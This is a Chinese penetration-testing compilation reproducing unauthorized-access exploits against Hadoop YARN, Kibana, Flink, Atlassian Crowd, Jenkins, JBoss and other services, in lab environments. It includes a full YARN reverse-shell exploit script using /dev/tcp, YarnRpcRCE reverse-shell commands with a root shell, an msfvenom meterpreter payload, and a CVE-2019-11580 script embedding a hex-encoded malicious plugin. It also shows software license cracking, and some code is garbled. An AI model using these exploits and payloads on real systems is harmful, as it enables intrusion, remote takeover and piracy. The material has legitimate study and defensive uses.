[root@localhost dubbo-monitor-simple-2.5.10]# nc 127.0.0.1 7070
ls
com.alibaba.dubbo.monitor.MonitorService
dubbo>help
Please input "help [command]" show detail.status [-l]                      - Show status.pwd                              - Print working default service.trace [service] [method] [times] - Trace the service.exit                             - Exit the telnet.help [command]                   - Show help.invoke [service.]method(args)    - Invoke the service method.count [service] [method] [times] - Count the service.clear [lines]                    - Clear screen.ls [-l] [service]                - List services and methods.log level                        - Change log level or show log ps [-l] [port]                   - Print server ports and connections.cd [service]                     - Change default service.
dubbo>status
OK
dubbo>pwd
/

如果服务具有命令执行功能,则使用 “invoke” 命令可能会执行命令,因为 “invoke” 命令用于调用特定的服务方法。

Hadoop YARN resourcemanager 未授权访问漏洞

漏洞描述

负责对资源进行同一管理调度的ReasourceManager组件的UI管理界面开放在8080/8088端口,攻击者无需认证即可通过REST API部署任务来执行任意命令,最终可完全控制集群中所有的机器。

环境搭建

使用vulhub

[root@localhost ~]# ls /opt/vulhub-master/hadoop/unauthorized-yarn/
docker-compose.yml  exploit.py  README.md[root@localhost ~]# docker-compose up

访问8088端口,可以看到Hadoop YARN ResourceManager WebUI界面。

漏洞利用

启动nc

[root@localhost ~]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999

攻击脚本

[root@localhost unauthorized-yarn]# cat exploit.py 
#!/usr/bin/env pythonimport requeststarget = 'http://127.0.0.1:8088/'
lhost = '192.168.32.131' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,},},'application-type': 'YARN',
}
requests.post(url, json=data)

成功攻击成功

Hadoop Yarn RPC未授权访问漏洞

漏洞简述

Hadoop Yarn作为Hadoop核心组件之一,负责将资源分配至各个集群中运行各种应用程序,并调度不同集群节点上的任务执行。Hadoop Yarn默认对外开放RPC服务,攻击者可利用RPC服务执行任意命令,控制服务器。

同时由于Hadoop Yarn RPC服务访问控制机制开启方式与REST API不一样,因此即使在 REST API有授权认证的情况下,RPC服务所在端口仍然可以未授权访问。

环境搭建

https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn

需要修改docker-compose.yml,添加8032端口映射。

curl请求8032端口。

[root@localhost tmp]# curl http://192.168.32.183:8032
It looks like you are making an HTTP request to a Hadoop IPC port. This is not the correct port for the web interface on this daemon.

漏洞利用

EXP:https://github.com/cckuailong/YarnRpcRCE

[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "curl 0dccw6.dnslog.cn"
log4j:WARN No appenders could be found for logger (org.apache.hadoop.util.Shell).
log4j:WARN Please initialize the log4j system properly.
log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info.

查看日志

反弹shell

[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "bash -i >& /dev/tcp/192.168.32.183/9999 0>&1"

成功建立连接

[root@localhost tmp]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 172.19.0.5.
Ncat: Connection from 172.19.0.5:59812.
bash: cannot set terminal process group (271): Inappropriate ioctl for device
bash: no job control in this shell
<00863_0003/container_1658816800863_0003_01_000001# whoami
whoami
root
<00863_0003/container_1658816800863_0003_01_000001# 

漏洞修复

  1. Apache Hadoop官方建议用户开启Kerberos认证。
  2. 设置 Hadoop RPC服务所在端口仅对可信地址开放。
  3. 建议升级并启用Kerberos的认证功能,阻止未经授权的访问。

InfluxDB API 未授权访问漏洞

JBoss未授权访问漏洞

漏洞描述

JBoss 是一个管理 EJB 的容器和服务器,支持 EJB 1.1、EJB 2.0 和 EJB3 的规范。但 JBoss 核心服务不包括支持 servlet/JSP 的 WEB 容器,一般与 Tomcat 或 Jetty 绑定使用。JBoss 默认在 8080 端口监听。

在低版本的 JBoss 中,默认可以访问 JBoss Web 控制台(http://IP:8080/jmx-console),无需用户名和密码。通过 JBoss 未授权访问管理控制台的漏洞,可以进行后台服务管理,可以通过脚本命令执行系统命令,如反弹 shell、wget 写 Webshell 文件。

环境搭建

这里用CVE-2017-7504的漏洞环境,启动环境

[root@localhost CVE-2017-7504]# docker-compose up

浏览器访问8080端口

漏洞复现

发现jboss默认页面,点击进入控制页

假设是未授权访问的话,点击JMX-Console不会提示输入用户名、密码,而这个地方用的是别的漏洞的环境,用户名密码都是admin、admin,所以就假装是不用输入用户名密码的

往下找jboss.deployment进入应用部署页面

进入应用部署页面后,下滑找到void addURL(),这里ParamValue部分填写远程服务器上的木马的地址。

访问iceword路径,就可以看到webshell

Jenkins未授权访问漏洞

漏洞描述

部署Jenkins 1.62版本,将全局授权策略打开,目前新版本的Jenkins已默认需要用户登录,但老版的中默认配置是"任意用户可以做任何事",存在未授权访问的问题。

环境搭建

选择1.62版本进行下载,http://archives.jenkins-ci.org/war-stable/1.625.1/jenkins.war

将WAR包丢到tomcat的webapps里面,启动tomcat

漏洞复现

进入管理页面:http://192.168.32.131:8080/jenkins/manage

进入脚本命令行,后缀输入script进入脚本命令行,输入:println "ls".execute().text,就可以执行ls命令。

Jupyter Notebook 未授权访问漏洞

漏洞描述

Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。

如果管理员未为 Jupyter Notebook 配置密码,将导致未授权访问漏洞,游客可在其中创建一个 console 并执行任意 Python 代码和命令。

环境搭建

version: '2'
services:web:image: vulhub/jupyter-notebook:5.2.2command: start-notebook.sh --NotebookApp.token=''ports:- "8888:8888"

运行后,访问 http://your-ip:8888 将看到 Jupyter Notebook 的 Web 管理界面,并没有要求填写密码。

漏洞复现

选择 new -> terminal 即可创建一个控制台:

直接执行任意命令:

Kafka Manager 未授权访问漏洞

漏洞描述

Kafka Manager是一款用于管理和监控Apache Kafka集群的工具。如果Kafka Manager未正确配置并对外开放,攻击者可能会未授权访问Kafka Manager,从而获取敏感信息,如Kafka集群的配置和使用情况。

此外,如果攻击者具有足够的权限,他们还可以操作Kafka集群,如创建主题、修改配置等,对系统造成威胁。

环境搭建

zookeeper

docker run -d  -p 2181:2181 -e TZ="Asia/Shanghai" wurstmeister/zookeeper:latest

kafka-manager

docker run -d -p 9000:9000 -e ZK_HOSTS=192.168.32.183:2181 sheepkiller/kafka-manager:latest

漏洞利用

访问9000端口,即可未授权访问Kafka管理界面

查看集群信息。

Kibana 未授权访问漏洞

漏洞描述

Kibana 未授权访问漏洞是指在 Kibana 未正确配置认证和授权的情况下,未经身份验证的用户可以访问 Kibana 的仪表板、数据及其他敏感信息。这种漏洞可能会导致数据泄露、攻击者控制 Kibana 环境以及其他安全威胁。

环境搭建

安装elasticsearch

cd /opt
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.5.3.tar.gz
tar -zxvf elasticsearch-6.5.3.tar.gz
cd elasticsearch-6.5.3
useradd es
chmod 777 -R /opt/elasticsearch-6.5.3
./bin/elasticsearch

安装kibana

wget https://artifacts.elastic.co/downloads/kibana/kibana-6.5.3-linux-x86_64.tar.gz
tar xvf kibana-6.5.3-linux-x86_64.tar.gz
cd kibana-6.5.3-linux-x86_64
./bin/kibana

浏览器访问5601端口。

漏洞利用

exp:https://github.com/LandGrey/CVE-2019-7609

[root@localhost CVE-2019-7609-master]# python CVE-2019-7609-kibana-rce.py -u 127.0.0.1:5601 -host 192.168.32.130 -port 9999 --shell
[+] http://127.0.0.1:5601 maybe exists CVE-2019-7609 (kibana < 6.6.1 RCE) vulnerability
[+] reverse shell completely! please check session on: 192.168.32.130:9999

Kong未授权访问漏洞

漏洞描述

Kong未授权访问漏洞(CVE-2020-11710)是指在Kong API网关系统中存在未授权访问漏洞,攻击者可以利用该漏洞获取或修改管理员凭证、读取任意文件以及远程执行任意代码。该漏洞由于Kong API网关系统未对请求进行严格验证导致。

影响版本

Kong < V2.0.3

环境搭建

创建Docker网络

[root@localhost ~]# docker network create kong-net
8c13241e04425db93e67c0c69c1adb7ca8adcb2701d67b43f2c20f4e76b9d613

拉取并启动PostgreSQL容器

docker run -d  --network=kong-net  -p 5432:5432 -e "POSTGRES_USER=kong"   -e "POSTGRES_DB=kong"  -e "POSTGRES_PASSWORD=kong"  postgres:9.6

数据库安装后,可进入postgres容器,创建kong用户及数据库kong

docker exec -it container_id /bin/bash
#切换用户
su postgres
#进入命令
psql;
#创建用户kong及密码
create user kong with password 'kong';
#创建数据库kong
create database kong owner kong;
#查看创建后的数据库(可省)
\l

初始化数据库

docker run --rm \--network=kong-net \-e "KONG_DATABASE=postgres" \-e "KONG_PG_HOST=kong-database" \-e "KONG_PG_USER=kong" \-e "KONG_PG_PASSWORD=kong" \-e "KONG_CASSANDRA_CONTACT_POINTS=kong-database" \kong:2.0.2 kong migrations bootstrap

启动kong

docker run -it  \--network=kong-net \-e "KONG_DATABASE=postgres" \-e "KONG_PG_HOST=kong-database" \-e "KONG_PG_PASSWORD=kong" \-e "KONG_CASSANDRA_CONTACT_POINTS=kong-database" \-e "KONG_PROXY_ACCESS_LOG=/dev/stdout" \-e "KONG_ADMIN_ACCESS_LOG=/dev/stdout" \-e "KONG_PROXY_ERROR_LOG=/dev/stderr" \-e "KONG_ADMIN_ERROR_LOG=/dev/stderr" \-e "KONG_ADMIN_LISTEN=0.0.0.0:8001, 0.0.0.0:8444 ssl" \-p 8000:8000 \-p 8443:8443 \-p 8001:8001 \-p 8444:8444 \kong:2.0.2

漏洞利用

访问http://192.168.32.130:8000

利用 Admin Restful API ,在Kong Gateway上注册一个新的"服务"(web API) 指向内网的敏感站点 http://192.168.32.130:8000

$ curl -i -X POST http://127.0.0.1:8001/services --data name=target --data url='http://192.168.32.130:8000'

添加一个路由,paths[]的值为 /site1,name的值为 111111

curl -i -X POST http://127.0.0.1:8001/services/target/routes  --data 'paths[]=/site1' --data 'name=111111'

Kubernetes Api Server 未授权访问

漏洞描述

Kubernetes 的服务在正常启动后会开启两个端口:Localhost Port (默认8080)、Secure Port (默认6443)。这两个端口都是提供 Api Server 服务的,一个可以直接通过 Web 访问,另一个可以通过 kubectl 客户端进行调用。如果运维人员没有合理的配置验证和权限,那么攻击者就可以通过这两个接口去获取容器的权限。

环境搭建

ubuntu 18.04

下载

wget https://github.com/kubernetes/minikube/releases/download/v1.18.1/minikube-linux-amd64
mv minikube-linux-amd64 minikube
chmod 777 minikubewget "https://storage.googleapis.com/kubernetes-release/release/v1.18.3/bin/linux/amd64/kubectl" -O "/usr/local/bin/kubectl"
chmod 755 /usr/local/bin/kubectl

启动K8S

sudo sysctl -w net/netfilter/nf_conntrack_max=131072
./minikube start --kubernetes-version=v1.18.3 --force --driver=docker  --extra-config=apiserver.anonymous-auth=true

启动仪表盘

root@l-virtual-machine:/opt# ./minikube dashboard
* Enabling dashboard ...- Using image kubernetesui/dashboard:v2.1.0- Using image kubernetesui/metrics-scraper:v1.0.4
* Verifying dashboard health ...
* Launching proxy ...
* Verifying proxy health ...
http://127.0.0.1:35293/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/

把K8S API映射出去

root@l-virtual-machine:/opt# kubectl proxy  --port=8088 --address='0.0.0.0' --accept-hosts='^.*'
Starting to serve on [::]:8088

漏洞检测

仪表盘

http://192.168.32.141:8088/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/#/overview?namespace=default

漏洞修复

  • 进行授权认证;
  • 使用Service Account令牌;
  • 设置防火墙策略,限定IP访问服务;

LDAP未授权访问漏洞

介绍

LDAP的全称为Lightweight Directory Access Protocol(轻量级目录访问协议), 基于X.500标准, 支持 TCP/IP。

LDAP目录为数据库,通过LDAP服务器(相当于DBMS)处理查询和更新, 以树状的层次结构来存储数据,相对关系型数据库, LDAP主要是优化数据读取的性能,适用于比较少改变、跨平台的信息。

LDAP属性

属性全名描述
dndistinguished name唯一标识名,类似于绝对路径,每个对象都有唯一标识名。 例如:uid=tester,ou=People,dc=example,dc=com
rdnrelative相对标识名,类似于相对路径。 例如:uid=tester
uiduser id通常指用户登录名。 例如:uid=tester
snsur name通常指一个人的姓氏。 例如:sn: Su
giveName通常指一个人的名字。 例如:giveName: Aldwin
I通常指一个地方的地名。 例如:I: Beijing
objectClassobjectClass是特殊属性,包含数据存储的方式以及相关属性信息。
dcdomain component通常指定一个域名。 例如:dc=example,dc=com
ouorganization unit通常指定一个组织单元的名称。 例如:ou=people,dc=example,dc=com
cncommon name通常指一个对象的名称。如果是人,需要使用全名。
ccountry一个二位的国家代码。 例如:CN、US、HK、JP等。

环境搭建

docker run -p 389:389 -p 636:636 --name my-openldap-container --detach osixia/openldap:1.5.0

漏洞复现

docker exec my-openldap-container ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w admin

Memcached未授权访问漏洞

漏洞描述

Memcached是一个高速缓存系统,用于存储网络上的大量动态数据。未授权访问漏洞指的是,在没有对Memcached的访问控制的情况下,任意人可以在未经授权的情况下访问和读取存储在Memcached中的数据。这可能导致敏感信息泄露,包括用户密码、信用卡信息等。

环境搭建

wget http://memcached.org/files/old/memcached-1.4.14.tar.gz
tar -zxvf memcached-1.4.14.tar.gz
cd memcached-1.4.14.tar.gz
./configure && make && make test && sudo make install

启动Memcached

漏洞利用

扫描端口

[root@localhost bin]# nmap -p 11211 -sV 192.168.32.183Starting Nmap 6.40 ( http://nmap.org ) at 2022-07-26 06:35 EDT
Nmap scan report for 192.168.32.183
Host is up (0.000052s latency).
PORT      STATE SERVICE   VERSION
11211/tcp open  memcached Memcached 1.4.14Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.32 seconds

缓存管理命令:

stats 命令的功能正如其名:转储所连接的 memcached 实例的当前统计数据。在下例中,执行 stats 命令显示了关于当前 memcached 实例的信息

以上信息显示了当前的流量统计。它服务于连接数量、数据存储到缓存中、缓存命中率以及有关内存使用情况的详细信息以及通过用于存储单个项目的平板分配信息的分布。

flush_all 命令。这个最简单的命令仅用于清理缓存中的所有名称/值对。如果您需要将缓存重置到干净的状态。

统计slabs信息

使用msf找到key

msf6 > search memcached_extractorMatching Modules
================#  Name                                  Disclosure Date  Rank    Check  Description-  ----                                  ---------------  ----    -----  -----------0  auxiliary/gather/memcached_extractor                   normal  No     Memcached ExtractorInteract with a module by name or index. For example info 0, use 0 or use auxiliary/gather/memcached_extractormsf6 > use auxiliary/gather/memcached_extractor
msf6 auxiliary(gather/memcached_extractor) > show optionsModule options (auxiliary/gather/memcached_extractor):Name     Current Setting  Required  Description----     ---------------  --------  -----------RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'RPORT    11211            yes       The target port (TCP)THREADS  1                yes       The number of concurrent threads (max one per host)msf6 auxiliary(gather/memcached_extractor) > set rhosts 192.168.32.183
rhosts => 192.168.32.183
msf6 auxiliary(gather/memcached_extractor) > run[+] 192.168.32.183:11211  - Found 0 keys
[*] 192.168.32.183:11211  - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

ActiveMQ未授权访问漏洞

漏洞描述

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ管理控制台的默认管理用户名和密码分别为admin和admin,用户可以未经授权使用默认凭据直接访问服务器,导致敏感信息泄露,并进一步进行攻击。

环境搭建

Download: http://archive.apache.org/dist/activemq/apache-activemq/5.5.0/apache-activemq-5.5.0-bin.tar.gz

[root@localhost bin]# ./activemq start
INFO: Using default configuration
(you can configure options in one of these file: /etc/default/activemq /root/.activemqrc)INFO: Invoke the following command to create a configuration file
./activemq setup [ /etc/default/activemq | /root/.activemqrc ]INFO: Using java '/usr/bin/java'
INFO: Starting - inspect logfiles specified in logging.properties and log4j.properties to get details
INFO: pidfile created : '/tmp/apache-activemq-5.5.0/data/activemq.pid' (pid '2173')

Vulnerability Reproduction

直接访问:http://192.168.32.183:8161/admin/queues.jsp

修复方案

编辑 ${ACTIVEMQ_HOME}/conf/jetty.xml开启身份验证,将authenticate属性改为true:

<property name="authenticate" value="true" />

编辑文件conf/jetty-realm.properties来更改Apache ActiveMQ的默认管理用户名和密码,格式如下:

重启服务就可以进行鉴权

Apache Flink未授权访问漏洞

漏洞描述

Apache Flink Dashboard默认没有用户权限认证,攻击者可以通过未授权的Flink Dashboard控制台直接上传木马jar包,可远程执行任意系统命令获取服务器权限。

环境搭建

测试版本:flink-1.15.1

修改flink-1.15.1/confflink-conf.yaml,将8081端口开启。

启动flink

start-cluster.sh

漏洞利用

访问web页面。

利用msfovenom生成rce.jar

┌──(root💀kali)-[/tmp]
└─# msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.32.130 LPORT=4444 -f jar > rce.jar
Payload size: 5310 bytes
Final size of jar file: 5310 bytes

配置msf监听

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 1291.68.32.130
lhost => 1291.68.32.130
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

在Submit New Job处上传rec.jar文件,点击submit。

成功getshell。

Atlassian Crowd 未授权访问漏洞

CVE-2019-11580

漏洞概述

Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了了pdkinstall开发插件,使其存在安全漏漏洞洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限

影响版本

  • 2.1.0 <= version < 3.0.5
  • 3.1.0 <= version < 3.1.6
  • 3.2.0 <= version < 3.2.8
  • 3.3.0 <= version < 3.3.5
  • 3.4.0 <= version < 3.4.4

环境搭建

下载搭建Atlassian-crowd-3.4.3,配置漏洞环境,下载crowd3.4.3的版本

wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip

修改配置文件

[root@localhost atlassian-crowd-3.4.3]# pwd
/opt/atlassian-crowd-3.4.3
[root@localhost atlassian-crowd-3.4.3]# vim crowd-webapp/WEB-INF/classes/crowd-init.properties

更改主目录的路径

启动crowd

[root@localhost atlassian-crowd-3.4.3]# sh start_crowd.sh 
To run Crowd in the foreground, start the server with start_crowd.sh -fg
Using CATALINA_BASE:   /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_HOME:   /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_TMPDIR: /opt/atlassian-crowd-3.4.3/apache-tomcat/temp
Using JRE_HOME:        /usr
Using CLASSPATH:       /opt/atlassian-crowd-3.4.3/apache-tomcat/bin/bootstrap.jar:/opt/atlassian-crowd-3.4.3/apache-tomcat/bin/tomcat-juli.jar
Using CATALINA_PID:    /opt/atlassian-crowd-3.4.3/apache-tomcat/work/catalina.pid
Tomcat started.

访问8095端口

得到服务器 id B1DP-2T7V-FIPR-PEBO 后通过破解程序atlassian-agent.jar获取许可证信息

生成破解码

[root@localhost tmp]# java -jar /opt/atlassian/atlassian-agent.jar -d -m test@test.com -n test.cn -p crowd -o http://192.168.32.183:8095 -s B1DP-2T7V-FIPR-PEBO ====================================================
=======     Atlassian Crack Agent v1.3.1     =======
=======           https://zhile.io           =======
=======          QQ Group: 30347511          =======
====================================================Your license code(Don't copy this line!!!): AAABoQ0ODAoPeJxtUU1v4jAUvPtXRNpzgh1KPpAsbZsYLd18LdAeuJnwaLwkDnIcCvz6JiRopVUvt
jRjv5k382PTgvHalobtGBjPiT/HrsHCjWFj20aBAq5FLUOugfaIiV3TdhA787K9M/TAywZQCE2ux
OmOvMlSVELD3ihFDrIBY3c1Cq1PzXwyuRWiBEvUKFUfXIpmGNKzHUl82yKOZ027y5vOPezPUK7qz
70VDZM21xMkvAIapHHMVsHyORofrDVXGtRoJ6il5rlmMRcl1dDon/1h5XWFRk+/eFPQOPgMFiE5y
lqz/Xa2Za/xkXHnskicJ3ebV8/FH5Jx6YC6pW01+ZveDgW/2NHNW11+f1CKuvlSg+QyB3Y5CXUdg
/L8PijsotH3MqTRMlyzxIyIM/O6xciTS3xvNN9ZFWegWrWA1qDOoLoPLyTMTHvjvpuLZbYyM/aSo
iNc30E1fWTEwdjF3nRKHiLfO8halRe8gf8rHJQ7lAcg++Tu6gOatNUOVHp4azoxapJHaA9tG63b3
b/CB98sod8sODZxL23oQH4BfpvL4jAsAhQt6OiEcmsu5eD6OZo5HBm8DIwpLwIUN7XS/JQ44Zrlu
tReQFf42Id/W0E=X02k4

安装完成

漏洞利用

CVE-2019-11580.py利用脚本

import requests
import sysbanner = '''\n   _______      ________    ___   ___  __  ___        __ __ _____  ___   ___  / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \      /_ /_ | ____|/ _ \ / _ \ | |     \ \  / /| |__ ______ ) | | | || | (_) |______| || | |__ | (_) | | | || |      \ \/ / |  __|______/ /| | | || |\__, |______| || |___ \ > _ <| | | || |____   \  /  | |____    / /_| |_| || |  / /       | || |___) | (_) | |_| |\_____|   \/   |______|  |____|\___/ |_| /_/        |_||_|____/ \___/ \___/ \npython CVE-2019-11580.py http://xx.xx.xx.xx\n
'''
print bannerdef is_url(url):upload_url = url + "/crowd/admin/uploadplugin.action"r = requests.get(upload_url, verify=False)if r.status_code==400:print upload_urlsend_poc(url)else:print "No Exit /crowd/admin/uploadplugin.action !"def send_poc(url):url_vuln = url + "/crowd/admin/uploadplugin.action"headers = {'User-Agent': 'curl/7.29.0','Accept': '*/*','Content-Length': '5739','Expect': '100-continue','Content-Type': 'multipart/mixed; boundary=----------------------------f15fe87e95a7'}s ="2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d6631356665383765393561370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2266696c655f63646c223b2066696c656e616d653d227263652e6a6172220d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6f637465742d73747265616d0d0a0d0a504b03041400000008007c7ef14e544c2527eb0000000402000014001c0061746c61737369616e2d706c7567696e2e786d6c55540900039bd32e5da8d32e5d75780b0001040000000004000000007d91416ec3201045d7ce29107b20c91a23e50039c4044f53140c16e0a8bd7d260527ae5595dd7c66febc0f1a8a879c1d0431f9f9ea02bbe177cf6d1ca51dbccc9fe8bdc4af89b30023f6fcb4b4b33304b862e2acce6571c7945d0c3d3f72669f5d7fd9981da3a3eb8c70e12356a5aa90606c8bde5c0314101643c124c87082e22e1eb9296946ad7e66561e03669bdc5488c46c61473269b85aad1bdfe32d8439c8bddc6bb594955afdc2de753a63ba7b2c0d99f2f9e80aaf4ff8aafe798beee93a272f2814c50b4691aed55aa93d6bd80bd8db106362505823caaa9128dab089d6e9e59290b5dafe37890f504b03040a00000000001b7ff14e00000000000000000000000004001c00636f6d2f5554090003c6d42e5dc9d42e5d75780b000104000000000400000000504b03040a00000000001b7ff14e00000000000000000000000008001c00636f6d2f63646c2f5554090003c6d42e5dc9d42e5d75780b000104000000000400000000504b03040a0000000000d07df14e0000000000000000000000000e001c00636f6d2f63646c2f7368656c6c2f555409000357d22e5d59d22e5d75780b000104000000000400000000504b03041400000008008878f14ec2481cb07d0100008d03000016001c00636f6d2f63646c2f7368656c6c2f43646c2e6a61766155540900036fc82e5dbdc82e5d75780b0001040000000004000000008d934d4fc3300c86effd15a617523e22384f3d21049c400c890b97909a35903621714711da7fc75187e8b60ee14395da799fbcb15baff49b5a2068d7485d59196bb4769665a6f12e10bcaaa5ea65c4b0b448b226f2f268362e4ae3e44deb3b9a5340d5b0d277cfd668d056c508179505ec09db2a4eb1aef9311f12f09565c0b1962f9da9a072574862b4e91edf3b8c0401df4f60231fbd6b237221164c827550f81cbda5609ba65d806eaa7258caa5b21ddebe0866ca05d29d0aaa41c220f28ba6ca8b6236a5771df19dcb3cdfacee9e97c2bc8038e01325bb57368a9ca913db52dc05a791fbe6cbfbae25d360b2b45e8a42628f5a3069cbd44f8c06911c963ea94749f10f1d8630e82e4370e16f9d69097479f87476385dffa88d45104297ec4632a9127cf383124ecff73520050f3119780c268da1901f69c1945a8542efb1b2dac96e6656a015e95a5cf61a3d19d7f26739e56118ec71993fb5f931f692dc30f1ed16fcd227c8db60949e19dc61fed91e82d238a60da45596adb26f504b030414000000080085b2f04ecafaf82fe50000000418000017001c00636f6d2f63646c2f7368656c6c2f2e44535f53746f726555540900031add2d5d09df2d5d75780b000104000000000400000000ed98316ec2401045ff382e564ab365ca2da922e5062b0305752e100815b2e42aa95d71176ec1cdc0667e0292b1945444e13f69f40acf8cd7cdee8e0158f5b17e0122800037b6b84a600c2868f3e87a6cb0c427968bba79bfde6b809d9a4fb1468de7cbfa55ddacb8b05d1793c3891f7615420821c418e60a8fb75d8610e20fd2ef0f89ce74eb363e2fe8f2a226d289ce74eb36e6157449073ad289ce74ebe6a6651c3e8c6f364e2816e944e75f7db21077c3832bf6e7ff1ca3f3bf10e21f63e5ec7556e17b2018d09fb5a98b37e6ecbf0a472e0285ff307cc2392fd1996eddba0c08710b8e504b0304140000000800b178f14ed0054a4648030000fa05000017001c00636f6d2f63646c2f7368656c6c2f43646c2e636c6173735554090003bdc82e5d09df2d5d75780b0001040000000004000000008d545d7b1345147e274d32dbedf62ba594fa010202295016152b2608d852a05ad2d214b0f8b9dd8c6571b39b6e26b5fa33bcf4c6cb5e7313409fc71fe02ff12f78637d674925ad7da479f63967e6cc39ef79cf999cf9e3ef5f7f077009be8d31142d4cf4e12cced9388f490b178c766d5cc43b46bc6be33d5c32e27d1b53f8a00f97f1a18d12ca1257243eb23188a211572d5cb33180eb6673ddac3e9698969811c85f09a2405f15e8294edc17c8cec4352530381f44aad2aaafaa64d95b0d69c9d5e25b4a0b2c15e71f7b1bdea6db54c946a8b4fb48eb867b9ba2fac2b0a4d65baaa9cbaf746b36e2a8a9ca266b7f557bfe7777bc469a2ca576436256e2a6c42d89db2c47c0aec6adc457370343c79aa985174c060747304ef633f51a831ccce1138639f814f302707007158905078bb8eb600955023a58c63d07f7718fd00e1ee033e672b08287129f3bf8025f0a8c186c37f4a2357776d3570d1dc491c0d84b6b552741b436dd0ac29a4a1c7c85af0584ede01b90d2aaa134ecc775d7af856ef3910a439784058efe7f53044e1da8b902a70fd65d81a1bd9449eca56931897dd56ceed41bc4ee5cd468697a2aaf2ee0ac29bde8255e5d699530e98bbbef462b4ffcd7242037bcb0a516bedd13b2b0fa58f97aff903c2bf3423219dd2fe2e12ed64bad480775166793dfbf9bd1623770c74ce4acda54bec0995790efb482010344ddd586b11de4ddfde9b8ce26499cecb866a96ae930cd09f4f2f44112a4bdebc65864f2ce41b9abf55d66cedbf76641c0e29c9990bcd768a888c89307ba83ceff92e8968e77eefd5071dfce0f364cde74029713cf57388ec37c7bcc2f0361c68bf235eedea4e64c2177f629c4132e045ea7cca74623df485de82a8a0ceda5f5c77385cc73f464f00cd94a2157ca4e16726de47fc6e56790936d58a5dc380dbda5bc517649f64c59e3f936fa56a6accc2f289c7f0e87376bfdd446ffd6f69f5b3859cafd86c195a7181acfb6315c285098d011ea360e95b25bb02a041e7d420643a8e02e1f3b601d9a3a93f29da61db0f936f471d5cff2067082efe204771731ccd7b4806b1861ec11461f4695cd5867a4a6678bd5fdc03a8f12e106f2db74ee953826f196c4718913e97752e26d7eecca36dd737bce615eb7537fe1985159f6eb74dae833ff00504b030414000000080080b2f04e5e4c2ce8970100000418000011001c00636f6d2f63646c2f2e44535f53746f726555540900030fdd2d5dc8c82e5d75780b000104000000000400000000ed98cf4e833018c0bf32a61063e460e28e5c4c3cecb0c5cd1d8c09c179d8cd04a387693618c491205d06932862780d7d239fc0c751fe7c1ad0ede06953fb4b9a5f295f5b0aa4a500005167661340020001727322cc45c0f40d0ecd2789646d383d878e0c871af35b62ac1ce9b3ab820763b0c0293dbff495384cd2de5b46165d8834026f82912fc6c4b13dbfd178255c85afaead0ba228889be29536a681e6ebfecc53f5693f3d3ad5fdb181f9334a9dcfbc6e9cdb563090b68fa9ebebb66b4db3cab66925219717b66bd240a533d7f4fa8513594703a91686ad76bb2eb7daada82e879d4e23c9ef1f449128ecec368f7ac39bbbfbf0217a7ccac74c080e7eebcbcd782e0fd1f4468e915c242917df6a53d7a1ee35646f3d83c160fc4270f61236967b190c06630549e70719ada0e3dc04cf7368be504742cb68051de72618c7a179b48096d0325a41c7b971d222b8f920d833c11d0a91d0325af9d190198c7f43259794aeff278bf7ff0c06e30f43f8aed65561f1ef8c74ad959334fca800e50f012ce331365d8a6b857219ada0e3dcec4380c15816ef504b030414000000080080b2f04e7261dc5f94010000041800000d001c00636f6d2f2e44535f53746f726555540900030fdd2d5dc8c82e5d75780b000104000000000400000000ed98cf4e833018c0bf32548831723071472e261e76d8e2e60ec684e03cec6632a3876936188b2341ba0c2651c4f01afa463e818fa3fcf9749bba83a7e9fc7e49f32be52b6d81b4140060fad8aa00280020416e41866f91307d41408b4962e93578cf74b8899723fe02e9b32b400f2c709aceccf33b48d2ee6b4616895166e00d31ead91c3ab6e797cb2f4c28882bab6b922c4bf2867cd91af0a0e51bfed8d38d513b3d3a31fc8189f953ce9d8fbc619ed9fda0a36c1d71d7376cb73fca2adb563f09b938b75d8b073a1fbb96d79e3a9135d4518a6158add54a6ab5568d4a6a58af9793fcde7e14c9d2f